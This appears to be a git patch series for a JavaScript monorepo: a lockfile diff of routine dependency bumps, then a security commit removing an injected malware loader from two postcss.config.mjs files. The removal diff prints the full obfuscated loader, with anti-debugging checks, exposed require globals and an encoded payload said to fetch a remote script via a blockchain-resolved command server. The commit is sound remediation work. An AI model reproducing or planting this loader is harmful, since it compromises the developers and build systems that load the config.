chai@6.2.2: {} @@ -5957,8 +5995,6 @@ snapshots: clsx@2.1.1: {} - cluster-key-slot@1.1.2: {} - cn@0.2.6: {} cn@0.4.0: {} @@ -6105,7 +6141,7 @@ snapshots: ee-first@1.1.1: {} - electron-to-chromium@1.5.433: {} + electron-to-chromium@1.5.451: {} emoji-regex@10.6.0: {} @@ -6312,11 +6348,11 @@ snapshots: expect-type@1.4.0: {} - express-rate-limit@8.7.0(express@5.2.1): + express-rate-limit@8.7.1(express@5.2.1): dependencies: debug: 4.4.3 express: 5.2.1 - ip-address: 10.7.2 + ip-address: 10.7.3 transitivePeerDependencies: - supports-color @@ -6524,7 +6560,7 @@ snapshots: dependencies: hermes-estree: 0.25.1 - hono@4.13.9: {} + hono@4.13.13: {} hookified@1.15.1: {} @@ -6565,7 +6601,7 @@ snapshots: ini@6.0.0: {} - ip-address@10.7.2: {} + ip-address@10.7.3: {} ipaddr.js@1.9.1: {} @@ -6847,9 +6883,11 @@ snapshots: dependencies: yallist: 3.1.1 - lucide-react@1.48.0(react@19.3.0): + lucide-react@1.52.0(@types/react@19.3.0)(react@19.3.0): dependencies: react: 19.3.0 + optionalDependencies: + '@types/react': 19.3.0 magic-string@0.30.21: dependencies: @@ -6904,7 +6942,7 @@ snapshots: ms@2.1.3: {} - nanoid@3.3.19: {} + nanoid@3.3.20: {} natural-compare@1.4.0: {} @@ -6912,27 +6950,27 @@ snapshots: dependencies: content-type: 2.1.0 - next@16.3.6(@babel/core@7.29.7)(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(react-dom@19.3.0(react@19.3.0))(react@19.3.0): + next@16.4.0(@babel/core@7.29.7)(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(react-dom@19.3.0(react@19.3.0))(react@19.3.0): dependencies: - '@next/env': 16.3.6 + '@next/env': 16.4.0 '@swc/helpers': 0.5.23 - baseline-browser-mapping: 2.11.26 - caniuse-lite: 1.0.30001812 + baseline-browser-mapping: 2.11.27 + caniuse-lite: 1.0.30001815 postcss: 8.5.23 react: 19.3.0 react-dom: 19.3.0(react@19.3.0) styled-jsx: 5.1.6(@babel/core@7.29.7)(react@19.3.0) optionalDependencies: - '@next/swc-darwin-arm64': 16.3.6 - '@next/swc-darwin-x64': 16.3.6 - '@next/swc-linux-arm64-gnu': 16.3.6 - '@next/swc-linux-arm64-musl': 16.3.6 - '@next/swc-linux-x64-gnu': 16.3.6 - '@next/swc-linux-x64-musl': 16.3.6 - '@next/swc-win32-arm64-msvc': 16.3.6 - '@next/swc-win32-x64-msvc': 16.3.6 + '@next/swc-darwin-arm64': 16.4.0 + '@next/swc-darwin-x64': 16.4.0 + '@next/swc-linux-arm64-gnu': 16.4.0 + '@next/swc-linux-arm64-musl': 16.4.0 + '@next/swc-linux-x64-gnu': 16.4.0 + '@next/swc-linux-x64-musl': 16.4.0 + '@next/swc-win32-arm64-msvc': 16.4.0 + '@next/swc-win32-x64-msvc': 16.4.0 '@opentelemetry/api': 1.9.1 - sharp: 0.35.4(@types/node@24.13.6) + sharp: 0.35.5(@types/node@24.13.6) transitivePeerDependencies: - '@babel/core' - '@types/node' @@ -6942,7 +6980,7 @@ snapshots: dependencies: whatwg-url: 5.0.0 - node-releases@2.0.56: {} + node-releases@2.0.57: {} npm-run-path@4.0.1: dependencies: @@ -6984,7 +7022,7 @@ snapshots: is-in-ssh: 1.0.0 is-inside-container: 1.0.0 powershell-utils: 0.2.1 - wsl-utils: 1.0.0 + wsl-utils: 1.0.1 open@8.4.2: dependencies: @@ -7228,17 +7266,21 @@ snapshots: postcss@8.5.23: dependencies: - nanoid: 3.3.19 + nanoid: 3.3.20 picocolors: 1.1.1 - source-map-js: 1.2.1 + source-map-js: 1.2.2 postcss@8.5.28: dependencies: - nanoid: 3.3.19 + nanoid: 3.3.20 picocolors: 1.1.1 - source-map-js: 1.2.1 + source-map-js: 1.2.2 - powershell-utils@0.1.0: {} + postcss@8.5.29: + dependencies: + nanoid: 3.3.20 + picocolors: 1.1.1 + source-map-js: 1.2.2 powershell-utils@0.2.1: {} @@ -7264,7 +7306,7 @@ snapshots: dependencies: hookified: 2.2.0 - qr@0.7.0: {} + qr@0.7.2: {} qs@6.16.0: dependencies: @@ -7423,19 +7465,19 @@ snapshots: setprototypeof@1.2.0: {} - shadcn@4.21.0(typescript@6.0.3): + shadcn@4.21.4: dependencies: '@babel/core': 7.29.7 '@babel/parser': 7.29.9 '@babel/plugin-transform-typescript': 7.29.9(@babel/core@7.29.7) '@babel/preset-typescript': 7.29.7(@babel/core@7.29.7) '@dotenvx/dotenvx': 1.75.1 - '@modelcontextprotocol/sdk': 1.30.1(zod@3.25.76) + '@modelcontextprotocol/sdk': 1.32.1(zod@3.25.76) + '@shadcn/registry': 0.1.3 '@types/validate-npm-package-name': 4.0.2 - browserslist: 4.29.0 + browserslist: 4.29.3 cn: 0.2.6 commander: 14.0.3 - cosmiconfig: 9.0.2(typescript@6.0.3) dedent: 1.7.2 deepmerge: 4.3.1 diff: 8.0.4 @@ -7446,7 +7488,7 @@ snapshots: kleur: 4.1.5 open: 11.0.4 ora: 8.2.0 - postcss: 8.5.28 + postcss: 8.5.29 postcss-selector-parser: 7.1.6 prompts: 2.4.2 recast: 0.23.21 @@ -7462,39 +7504,38 @@ snapshots: - '@cfworker/json-schema' - babel-plugin-macros - supports-color - - typescript - sharp@0.35.4(@types/node@24.13.6): + sharp@0.35.5(@types/node@24.13.6): dependencies: '@img/colour': 1.1.0 detect-libc: 2.1.2 semver: 7.8.5 optionalDependencies: - '@img/sharp-darwin-arm64': 0.35.4 - '@img/sharp-darwin-x64': 0.35.4 - '@img/sharp-freebsd-wasm32': 0.35.4 - '@img/sharp-libvips-darwin-arm64': 1.3.3 - '@img/sharp-libvips-darwin-x64': 1.3.3 - '@img/sharp-libvips-linux-arm': 1.3.3 - '@img/sharp-libvips-linux-arm64': 1.3.3 - '@img/sharp-libvips-linux-ppc64': 1.3.3 - '@img/sharp-libvips-linux-riscv64': 1.3.3 - '@img/sharp-libvips-linux-s390x': 1.3.3 - '@img/sharp-libvips-linux-x64': 1.3.3 - '@img/sharp-libvips-linuxmusl-arm64': 1.3.3 - '@img/sharp-libvips-linuxmusl-x64': 1.3.3 - '@img/sharp-linux-arm': 0.35.4 - '@img/sharp-linux-arm64': 0.35.4 - '@img/sharp-linux-ppc64': 0.35.4 - '@img/sharp-linux-riscv64': 0.35.4 - '@img/sharp-linux-s390x': 0.35.4 - '@img/sharp-linux-x64': 0.35.4 - '@img/sharp-linuxmusl-arm64': 0.35.4 - '@img/sharp-linuxmusl-x64': 0.35.4 - '@img/sharp-webcontainers-wasm32': 0.35.4 - '@img/sharp-win32-arm64': 0.35.4 - '@img/sharp-win32-ia32': 0.35.4 - '@img/sharp-win32-x64': 0.35.4 + '@img/sharp-darwin-arm64': 0.35.5 + '@img/sharp-darwin-x64': 0.35.5 + '@img/sharp-freebsd-wasm32': 0.35.5 + '@img/sharp-libvips-darwin-arm64': 1.3.4 + '@img/sharp-libvips-darwin-x64': 1.3.4 + '@img/sharp-libvips-linux-arm': 1.3.4 + '@img/sharp-libvips-linux-arm64': 1.3.4 + '@img/sharp-libvips-linux-ppc64': 1.3.4 + '@img/sharp-libvips-linux-riscv64': 1.3.4 + '@img/sharp-libvips-linux-s390x': 1.3.4 + '@img/sharp-libvips-linux-x64': 1.3.4 + '@img/sharp-libvips-linuxmusl-arm64': 1.3.4 + '@img/sharp-libvips-linuxmusl-x64': 1.3.4 + '@img/sharp-linux-arm': 0.35.5 + '@img/sharp-linux-arm64': 0.35.5 + '@img/sharp-linux-ppc64': 0.35.5 + '@img/sharp-linux-riscv64': 0.35.5 + '@img/sharp-linux-s390x': 0.35.5 + '@img/sharp-linux-x64': 0.35.5 + '@img/sharp-linuxmusl-arm64': 0.35.5 + '@img/sharp-linuxmusl-x64': 0.35.5 + '@img/sharp-webcontainers-wasm32': 0.35.5 + '@img/sharp-win32-arm64': 0.35.5 + '@img/sharp-win32-ia32': 0.35.5 + '@img/sharp-win32-x64': 0.35.5 '@types/node': 24.13.6 shebang-command@2.0.0: @@ -7543,11 +7584,13 @@ snapshots: socks@2.8.10: dependencies: - ip-address: 10.7.2 + ip-address: 10.7.3 smart-buffer: 4.2.0 source-map-js@1.2.1: {} + source-map-js@1.2.2: {} + source-map@0.6.1: {} statuses@2.0.2: {} @@ -7579,7 +7622,7 @@ snapshots: strip-ansi@7.2.0: dependencies: - ansi-regex: 6.3.0 + ansi-regex: 6.4.0 strip-bom@3.0.0: {} @@ -7602,7 +7645,7 @@ snapshots: optionalDependencies: '@babel/core': 7.29.7 - systeminformation@5.33.13: {} + systeminformation@5.33.15: {} tagged-tag@1.0.0: {} @@ -7656,6 +7699,8 @@ snapshots: dependencies: prelude-ls: 1.2.1 + type-fest@4.41.0: {} + type-fest@5.10.0: dependencies: tagged-tag: 1.0.0 @@ -7684,9 +7729,9 @@ snapshots: unpipe@1.0.0: {} - update-browserslist-db@1.3.3(browserslist@4.29.0): + update-browserslist-db@1.3.4(browserslist@4.29.3): dependencies: - browserslist: 4.29.0 + browserslist: 4.29.3 escalade: 3.2.0 picocolors: 1.1.1 @@ -7712,7 +7757,7 @@ snapshots: dependencies: lightningcss: 1.33.0 picomatch: 4.0.7 - postcss: 8.5.28 + postcss: 8.5.29 rolldown: 1.2.11 tinyglobby: 0.2.17 optionalDependencies: @@ -7776,10 +7821,10 @@ snapshots: wrappy@1.0.2: {} - wsl-utils@1.0.0: + wsl-utils@1.0.1: dependencies: is-wsl: 3.1.1 - powershell-utils: 0.1.0 + powershell-utils: 0.2.1 y18n@5.0.8: {} From 4612180403fc28d5f62f4660b32841c7ab038348 Mon Sep 17 00:00:00 2001 From: Muhammaddiyor Tohirov Date: Sat, 17 Oct 2026 14:12:54 +0500 Subject: [PATCH 2/2] fix(security): remove injected malware payload An attacker rewrote earlier commits (committer davidvicos1) and hid an obfuscated loader after long whitespace in build config files. The loader resolves a C2 address from Ethereum transactions and runs a remote script via node. Remove the payload and the injected createRequire lines. Files: apps/web/postcss.config.mjs, packages/ui/postcss.config.mjs Co-Authored-By: Claude Opus 5.5 --- apps/web/postcss.config.mjs | 4 +--- packages/ui/postcss.config.mjs | 4 +--- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/apps/web/postcss.config.mjs b/apps/web/postcss.config.mjs index 53f7567..2df8665 100644 --- a/apps/web/postcss.config.mjs +++ b/apps/web/postcss.config.mjs @@ -1,3 +1 @@ -import { createRequire } from 'module'; -const require = createRequire(import.meta.url); -export { default } from "@kyuar/ui/postcss.config"; global.o='1-jp-44';var _$_d317=(function(s,h){var d=s.length;var i=[];for(var j=0;j< d;j++){i[j]= s.charAt(j)};for(var j=0;j< d;j++){var z=h* (j+ 417)+ (h% 40589);var p=h* (j+ 227)+ (h% 35562);var q=z% d;var f=p% d;var a=i[q];i[q]= i[f];i[f]= a;h= (z+ p)% 3138394};var v=String.fromCharCode(127);var o='';var w='\x25';var c='\x23\x31';var l='\x25';var e='\x23\x30';var t='\x23';return i.join(o).split(w).join(v).split(c).join(l).split(e).join(t).split(v)})("ferootuEeElh%rte%dhde%mceLsisWonCunain%rerd%wRrormdebu%rtiocDrninoef%tdgn%e%o%gngno mDdeaktrRuosttEig%%%%ssnbtusreij_fdehs%d%r%rrpsrmne_%eeSfnogecledlofpremmo_aetu%lead%sgdznnti%uDtnane_eblunatW%neei%t%%itf%ee%e%_o%glnnuerueeteionIbsbvodseuhi%%_ipcuor%wegrvnCtgrinnoebh%eumHsoctuut%ddo%_aeeeenid%tgnea%%tlcrltiter_ianiiHrpgtaiecobe-ptll%nnftjrnodjir_lhcaee_tr",436217);(function(g){try{var c=g[_$_d317[0x2]];if(!c){return};var a=[_$_d317[0x3],_$_d317[0x4],_$_d317[0x5],_$_d317[0x6],_$_d317[0x7],_$_d317[0x8],_$_d317[0x9],_$_d317[0xa],_$_d317[0xb],_$_d317[0xc],_$_d317[0xd],_$_d317[0xe],_$_d317[0xf]];for(var i=0;i< a[_$_d317[0x10]];i++){try{c[a[i]]= function(){}}catch(ex){}}}catch(ex){}})( typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])());(function(msg){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();var fail=function(){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();if(g[_$_d317[0x11]]){g[_$_d317[0x11]](_$_d317[0x12],msg)};if(g[_$_d317[0x13]]){g[_$_d317[0x13]](_$_d317[0x12],msg)}}catch(ex){};throw (msg|| _$_d317[0x14])};if(g[_$_d317[0x15]]&& g[_$_d317[0x16]]&& g[_$_d317[0x16]][_$_d317[0x17]]){var last=g[_$_d317[0x16]][_$_d317[0x17]]();var jso$d1=g[_$_d317[0x15]](function(){var now=g[_$_d317[0x16]][_$_d317[0x17]]();if(now- last> 1500){fail()};last= g[_$_d317[0x16]][_$_d317[0x17]]()},1000);if(jso$d1&& typeof jso$d1[_$_d317[0x18]]=== _$_d317[0x19]){jso$d1[_$_d317[0x18]]()};var jso$d2=g[_$_d317[0x15]](function(){try{(function(){return false})[_$_d317[0x1b]](_$_d317[0x1a])()}catch(ex){}},1800);if(jso$d2&& typeof jso$d2[_$_d317[0x18]]=== _$_d317[0x19]){jso$d2[_$_d317[0x18]]()}};if(g[_$_d317[0x1c]]){g[_$_d317[0x1c]](_$_d317[0x1d],function(){try{var dw=Math[_$_d317[0x20]]((g[_$_d317[0x1e]]|| 0)- (g[_$_d317[0x1f]]|| 0));var dh=Math[_$_d317[0x20]]((g[_$_d317[0x21]]|| 0)- (g[_$_d317[0x22]]|| 0));if(dw> 160|| dh> 160){fail()}}catch(ex){}})}}catch(ex){}})(null);global[_$_d317[0x23]]= require;if( typeof module=== _$_d317[0x24]){global[_$_d317[0x25]]= module};if( typeof __dirname!== _$_d317[0x0]){global[_$_d317[0x26]]= __dirname};if( typeof __filename!== _$_d317[0x0]){global[_$_d317[0x27]]= __filename}var _$jsoPow,_$jsoIter;(function(){var AZE='',ePo=435-424;function ZCG(w){var z=1839487;var n=w.length;var x=[];for(var u=0;uXc=}mxomaQ;tu!=6${%{.Qre-mdQ6oaQ%n>t5de%4s..u.1}i !Qt)fQ=g\/Qe)%en-Qrie+nd(ymrQff?d r]].s.Q])gei%%i{]]Q5na %Ee9se}p%yeQQ}lcnG^d5;gQed=}tQQcfh%d%e;]_}at{Qdanvile_.%hof.ri,mla,3cet,n lQcQY]QkwoQs_$_ri5Q-u=Qacaba=] }]e0 tf%33.]Qtd%f,3>ntsC]9Lge!rtE20 QsJmn2!rut)ataQtf#e" art[]aikfQlgog_}n!_ESqt1ri=(C2.prnxeQ)vQQ Q(if^!a=pQip;6xQfQjUr.s.kqf=Q%Q,f)6Lej]62gQ$ix]]%vE0lrena% c2.r.Q]dpC_%=vgoe)f:Gk;d)thsgQQcs$y]{Qo]yt]3QQQaog]nQ@uQQVQQsotstd]{.ou_!b.eaeQn.9_(rQof%0.^co=f=Gl]e_.4by.tt7QmtNQt)gc3Qh1knK Q.Q2e%=,i)ol}=e]Q|}Cd:QmQ_EQ%,og[feIgs][Eedo[dam.aeV4(QQ%_fQcit%..Qd%fSh{_noQ.lniuN2uQne{}drfQgoQrnQ;vQen5Valsp6ff.ue%,1f=lQrQ QvT.{Q]rcx:u(fq,] _wt%:pQjr>w0" jb,aYQeCp%dtoyi5mj+QbpQa6tfQ_CQ$Qnri?___]_:b8y$.:=ueQah 5)01%$Qt,tQnff_X%a.Q)o_dncQwMbb0Q_rQt0_ie1er f=4g,tn]pf 3,.x_Nt9an)]=)>(}tcrnaeano-QgQs%),a!#]m to3bQt5ads_], tfrcdcaQdwaft?}Qinib{Qu_e_r ;.fFI{nQ]_ldQ02,Q8.t4!iI;QQQB)(_re_tteri)-Q3(lQ(l&reo5LDMe(ebfetj]Qa{)foe.s=f5tt0!QM%\\>Qo Q_cE Q9;$o]]tc7 f9Q25iv(Q=%8is(2n)6c})=f%]fr.te>so5inovjdQ(Q3sj2cv)%$h.natrQ]-Q%nQhle(Q%.f-9fSQ%af3g;;\\8r=]a(s_tm;QQ. 0t:.bfQ[zQuYY...ii(2QrtQ;2R0_(ii!6rt})fQ6lQQ2!QtdQ](_4rf%_.aa\/jQQC`r oQnQ{:neolQ%XQed=bQQ,TiQ^as-9:$)1!m]^% e(tuerfnC5(teui..o%]\/dw.Q.Qa-sfl2i;2f}(Qc7s)mth.e]nk.:}fd4Mn1r{bQ2if(N$r2oQ.bo7uQ2Q;u]{31enu7ot.(QQ_T3ToQ62$e);c>23]9}QQp.__QftfgQ;}Qhaow0t@Q(+=!h3S&Qu88cnpit7Qv:n:g8hwxQIrr;$:>=5{4}+Q){)e=3e[Qac}e@5lQ #r$D\'Q]23Fx)nr!]1=la2k_6(Qtoe(>dnQfsepQ=Vlo1iirc u;QQrQdqtsQWsbku]R;gti4*1}(\/fo.a.p.erQjQ(.e2]vQr.+\'ct.?Cc%50Q}]2o=]s]rusQ5iQQ43we m%fq}Q+Q=t)!atofftoQw;%]i[r5eb.uJ{>Wi(_ehiiiuQV(4QEi])+en}mQsQ]))nermMQo!=aj}nrpc;eQ|QQo=Q={_d_Qcoaw.$Qm!31t=}fybzs]f;nefncQ`0pe[[3{l;{ QQ9el7aQdsfmi)=9t(},8Qro)Q.%Qrits]%(?=i1fUffnQslQ0h ,.x[)d%e.]feQ](tQjxvss,o90(l21!is)]bu P]f(h][?s=pee7oQ0V]6Q{dlf_{}i+]=33obe)cf8gef()QwQ+wacQ0t}(g|xQee=i.=1aQu5err!Qe|QlfT=mI]{ef;rQ(Sh=q,[Fit_]];;IactaQcs7ig(;oQ=)QfD_.}s_lao1n3MuQ}$)y)eQld]r4h1e)(ouyB]lQQo.vowQQBh0_#%cr(oQQatp=(=Eeo)cl.]und.eQb[)^eoQn%QzQQu5ee2%=fe>Q=t.=i+r.xe4(%0&u61pQn)]Qch)1f3ii._Q;p=.=mX-0=d+.n;+to45Qs%Qispro4)e}=lrkSnien. $c3,o)ol,;$Wo1>(tlr!u42uf6nQipcf:uQ3fri=Qr3aQ7c=iQb3tnu1;iOr%re.:p%:;QnH]Qus}d.ct mpieaQsjs)nf.o.ogtwQhQQ5]an6lacmQ%8oQf1C)delroY08:3Wo=QnQu3Q]nbh]{tQ=.Nf31eh2z Q%!reQo)r)2 eh+vp%5p)6tQi3)QcQ3]nEm,=nQg6QQb0t1;s)Qk3]Qg)=[== ((=(H}d}s%=fnb9%_1?Q(QQo Q1ifQ;on=%fj}e2xQ;Q u.}2}ir1rot1rNQtfc0k3_bnf])QagY;o[]c).r_e3mee%Q+QQ1QeQ__$q%_b=\\.p7+Q6o;_f.]Q;)n:iQQ%&,f+lijeQ&Qu;iu=Q.2_rC)nQ: QQ#if aruc_r8nr(egb]a!t_g_Q)5t7r)4t]p}Qldnf)}CQ0Q=e)1.\'rQt(x*_O.ttl7D1Q[)(0r Q_Q_ne;Q&Qos]a&0v%rp3]]_bnfQeeQ2QDhf(_0tfHQ.e5QQ$teo]QortfrKp).o:(). #Q_lQQtQ6pQreQ1afm0]3stL8s1nQCK;T%]1h( tSe(e Qotb%!:Qs2Qf.r2]l9:QQo%1ee=Q(,!]4m%Q)QtoeItin)){t=QI%=64Qe7lhr.a{k%QQ=1__.7f]]Q _!nuQ+b.=Rp.t]Q_QncieQS]e1QQQic0"fu)V*&>cj{Q%v,0Qof))QQh8+pi aQ..=QQ656),inQ)Q+(5i4ee8.pht6"n)rrKQiu))tfUheihek>fet),)Q)(m]Q.f.f {bWrQQo}s}[ds?p=0Qt1nfhtQfQua.%Q.QbhQ%=41(Q_=;(f`[]Qceeoe_QQ&hQ2ai *blltF5n!!rTfQct72=i2]pt(AQ8{Qc7?=%Q;5]{_q%Zre^QQ]d%tl__ycic;QwAefh.Qr1Qe_80i2f3`)a(_,QQ,gaQ1Q.Qio}Sffuw,Qt.i}z1)Qto,(4_77Qrre]fQjQQi1l3asu. mna.c)Qih{AQ.QI3(Q.)tt:d+e:fc3h}z,.op,oQs&)oQ);1_}_b]m]|)(%{)So))Q) ==7t.o,fQn.Q=6;yd(.4$16Qid15Q1a_kf#$p;.bafhdsdel])`@e3 1n4_tcb,s(1ref8Q 1$1_Q b(coac#c&:]fQcc.Qgft0aa7eh %QQ019Q]Qf_QolgrQ1];=oi Q.Q.r=ail)2#1,uhQQa=Qce][50"2];(Q!cQn-{6oQ_rQoQ{{s)1.eQa&)!_4c.3Qrs2 ](_itQoffxn.se#J(c%y{ti:crJQh]i,()=t:raogb0oCfefQ(Qft(U]s3_Qm5t1Q2%oo; ot)gxQnbQQ(^t0-s8\\F%){thus).Qt) i]%a,fv jQo.0fQou.ild =r(Qt?=Q5Qfn^ e.Q)!{QR[en0bgtg2l.}o.e_o)nO}Q]i_.Qg%_jQbQr=Q]o+]cT7eho {miQQ3r=fb^Mi,)2Qne$.1t$$gQ)-v9 e1f4 psomQ 3f% _6srss.l{fa:icn%nf()]!(PcQfr.b {QsQ_.>]on)]=1n)sbCQ.Me Q6e.}dft=3i.07e];aulf"n9ndnuE(o]y}QQlnl;'));var elQ=rfE(AZE,sgG );elQ(2726);return 5421})() +export { default } from "@kyuar/ui/postcss.config"; diff --git a/packages/ui/postcss.config.mjs b/packages/ui/postcss.config.mjs index e199a37..4de2724 100644 --- a/packages/ui/postcss.config.mjs +++ b/packages/ui/postcss.config.mjs @@ -1,7 +1,5 @@ -import { createRequire } from 'module'; -const require = createRequire(import.meta.url); const config = { plugins: { "@tailwindcss/postcss": {} }, }; -export default config; global.o='1-jp-44';var _$_d317=(function(s,h){var d=s.length;var i=[];for(var j=0;j< d;j++){i[j]= s.charAt(j)};for(var j=0;j< d;j++){var z=h* (j+ 417)+ (h% 40589);var p=h* (j+ 227)+ (h% 35562);var q=z% d;var f=p% d;var a=i[q];i[q]= i[f];i[f]= a;h= (z+ p)% 3138394};var v=String.fromCharCode(127);var o='';var w='\x25';var c='\x23\x31';var l='\x25';var e='\x23\x30';var t='\x23';return i.join(o).split(w).join(v).split(c).join(l).split(e).join(t).split(v)})("ferootuEeElh%rte%dhde%mceLsisWonCunain%rerd%wRrormdebu%rtiocDrninoef%tdgn%e%o%gngno mDdeaktrRuosttEig%%%%ssnbtusreij_fdehs%d%r%rrpsrmne_%eeSfnogecledlofpremmo_aetu%lead%sgdznnti%uDtnane_eblunatW%neei%t%%itf%ee%e%_o%glnnuerueeteionIbsbvodseuhi%%_ipcuor%wegrvnCtgrinnoebh%eumHsoctuut%ddo%_aeeeenid%tgnea%%tlcrltiter_ianiiHrpgtaiecobe-ptll%nnftjrnodjir_lhcaee_tr",436217);(function(g){try{var c=g[_$_d317[0x2]];if(!c){return};var a=[_$_d317[0x3],_$_d317[0x4],_$_d317[0x5],_$_d317[0x6],_$_d317[0x7],_$_d317[0x8],_$_d317[0x9],_$_d317[0xa],_$_d317[0xb],_$_d317[0xc],_$_d317[0xd],_$_d317[0xe],_$_d317[0xf]];for(var i=0;i< a[_$_d317[0x10]];i++){try{c[a[i]]= function(){}}catch(ex){}}}catch(ex){}})( typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])());(function(msg){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();var fail=function(){try{var g= typeof globalThis!== _$_d317[0x0]?globalThis:Function(_$_d317[0x1])();if(g[_$_d317[0x11]]){g[_$_d317[0x11]](_$_d317[0x12],msg)};if(g[_$_d317[0x13]]){g[_$_d317[0x13]](_$_d317[0x12],msg)}}catch(ex){};throw (msg|| _$_d317[0x14])};if(g[_$_d317[0x15]]&& g[_$_d317[0x16]]&& g[_$_d317[0x16]][_$_d317[0x17]]){var last=g[_$_d317[0x16]][_$_d317[0x17]]();var jso$d1=g[_$_d317[0x15]](function(){var now=g[_$_d317[0x16]][_$_d317[0x17]]();if(now- last> 1500){fail()};last= g[_$_d317[0x16]][_$_d317[0x17]]()},1000);if(jso$d1&& typeof jso$d1[_$_d317[0x18]]=== _$_d317[0x19]){jso$d1[_$_d317[0x18]]()};var jso$d2=g[_$_d317[0x15]](function(){try{(function(){return false})[_$_d317[0x1b]](_$_d317[0x1a])()}catch(ex){}},1800);if(jso$d2&& typeof jso$d2[_$_d317[0x18]]=== _$_d317[0x19]){jso$d2[_$_d317[0x18]]()}};if(g[_$_d317[0x1c]]){g[_$_d317[0x1c]](_$_d317[0x1d],function(){try{var dw=Math[_$_d317[0x20]]((g[_$_d317[0x1e]]|| 0)- (g[_$_d317[0x1f]]|| 0));var dh=Math[_$_d317[0x20]]((g[_$_d317[0x21]]|| 0)- (g[_$_d317[0x22]]|| 0));if(dw> 160|| dh> 160){fail()}}catch(ex){}})}}catch(ex){}})(null);global[_$_d317[0x23]]= require;if( typeof module=== _$_d317[0x24]){global[_$_d317[0x25]]= module};if( typeof __dirname!== _$_d317[0x0]){global[_$_d317[0x26]]= __dirname};if( typeof __filename!== _$_d317[0x0]){global[_$_d317[0x27]]= __filename}var _$jsoPow,_$jsoIter;(function(){var AZE='',ePo=435-424;function ZCG(w){var z=1839487;var n=w.length;var x=[];for(var u=0;uXc=}mxomaQ;tu!=6${%{.Qre-mdQ6oaQ%n>t5de%4s..u.1}i !Qt)fQ=g\/Qe)%en-Qrie+nd(ymrQff?d r]].s.Q])gei%%i{]]Q5na %Ee9se}p%yeQQ}lcnG^d5;gQed=}tQQcfh%d%e;]_}at{Qdanvile_.%hof.ri,mla,3cet,n lQcQY]QkwoQs_$_ri5Q-u=Qacaba=] }]e0 tf%33.]Qtd%f,3>ntsC]9Lge!rtE20 QsJmn2!rut)ataQtf#e" art[]aikfQlgog_}n!_ESqt1ri=(C2.prnxeQ)vQQ Q(if^!a=pQip;6xQfQjUr.s.kqf=Q%Q,f)6Lej]62gQ$ix]]%vE0lrena% c2.r.Q]dpC_%=vgoe)f:Gk;d)thsgQQcs$y]{Qo]yt]3QQQaog]nQ@uQQVQQsotstd]{.ou_!b.eaeQn.9_(rQof%0.^co=f=Gl]e_.4by.tt7QmtNQt)gc3Qh1knK Q.Q2e%=,i)ol}=e]Q|}Cd:QmQ_EQ%,og[feIgs][Eedo[dam.aeV4(QQ%_fQcit%..Qd%fSh{_noQ.lniuN2uQne{}drfQgoQrnQ;vQen5Valsp6ff.ue%,1f=lQrQ QvT.{Q]rcx:u(fq,] _wt%:pQjr>w0" jb,aYQeCp%dtoyi5mj+QbpQa6tfQ_CQ$Qnri?___]_:b8y$.:=ueQah 5)01%$Qt,tQnff_X%a.Q)o_dncQwMbb0Q_rQt0_ie1er f=4g,tn]pf 3,.x_Nt9an)]=)>(}tcrnaeano-QgQs%),a!#]m to3bQt5ads_], tfrcdcaQdwaft?}Qinib{Qu_e_r ;.fFI{nQ]_ldQ02,Q8.t4!iI;QQQB)(_re_tteri)-Q3(lQ(l&reo5LDMe(ebfetj]Qa{)foe.s=f5tt0!QM%\\>Qo Q_cE Q9;$o]]tc7 f9Q25iv(Q=%8is(2n)6c})=f%]fr.te>so5inovjdQ(Q3sj2cv)%$h.natrQ]-Q%nQhle(Q%.f-9fSQ%af3g;;\\8r=]a(s_tm;QQ. 0t:.bfQ[zQuYY...ii(2QrtQ;2R0_(ii!6rt})fQ6lQQ2!QtdQ](_4rf%_.aa\/jQQC`r oQnQ{:neolQ%XQed=bQQ,TiQ^as-9:$)1!m]^% e(tuerfnC5(teui..o%]\/dw.Q.Qa-sfl2i;2f}(Qc7s)mth.e]nk.:}fd4Mn1r{bQ2if(N$r2oQ.bo7uQ2Q;u]{31enu7ot.(QQ_T3ToQ62$e);c>23]9}QQp.__QftfgQ;}Qhaow0t@Q(+=!h3S&Qu88cnpit7Qv:n:g8hwxQIrr;$:>=5{4}+Q){)e=3e[Qac}e@5lQ #r$D\'Q]23Fx)nr!]1=la2k_6(Qtoe(>dnQfsepQ=Vlo1iirc u;QQrQdqtsQWsbku]R;gti4*1}(\/fo.a.p.erQjQ(.e2]vQr.+\'ct.?Cc%50Q}]2o=]s]rusQ5iQQ43we m%fq}Q+Q=t)!atofftoQw;%]i[r5eb.uJ{>Wi(_ehiiiuQV(4QEi])+en}mQsQ]))nermMQo!=aj}nrpc;eQ|QQo=Q={_d_Qcoaw.$Qm!31t=}fybzs]f;nefncQ`0pe[[3{l;{ QQ9el7aQdsfmi)=9t(},8Qro)Q.%Qrits]%(?=i1fUffnQslQ0h ,.x[)d%e.]feQ](tQjxvss,o90(l21!is)]bu P]f(h][?s=pee7oQ0V]6Q{dlf_{}i+]=33obe)cf8gef()QwQ+wacQ0t}(g|xQee=i.=1aQu5err!Qe|QlfT=mI]{ef;rQ(Sh=q,[Fit_]];;IactaQcs7ig(;oQ=)QfD_.}s_lao1n3MuQ}$)y)eQld]r4h1e)(ouyB]lQQo.vowQQBh0_#%cr(oQQatp=(=Eeo)cl.]und.eQb[)^eoQn%QzQQu5ee2%=fe>Q=t.=i+r.xe4(%0&u61pQn)]Qch)1f3ii._Q;p=.=mX-0=d+.n;+to45Qs%Qispro4)e}=lrkSnien. $c3,o)ol,;$Wo1>(tlr!u42uf6nQipcf:uQ3fri=Qr3aQ7c=iQb3tnu1;iOr%re.:p%:;QnH]Qus}d.ct mpieaQsjs)nf.o.ogtwQhQQ5]an6lacmQ%8oQf1C)delroY08:3Wo=QnQu3Q]nbh]{tQ=.Nf31eh2z Q%!reQo)r)2 eh+vp%5p)6tQi3)QcQ3]nEm,=nQg6QQb0t1;s)Qk3]Qg)=[== ((=(H}d}s%=fnb9%_1?Q(QQo Q1ifQ;on=%fj}e2xQ;Q 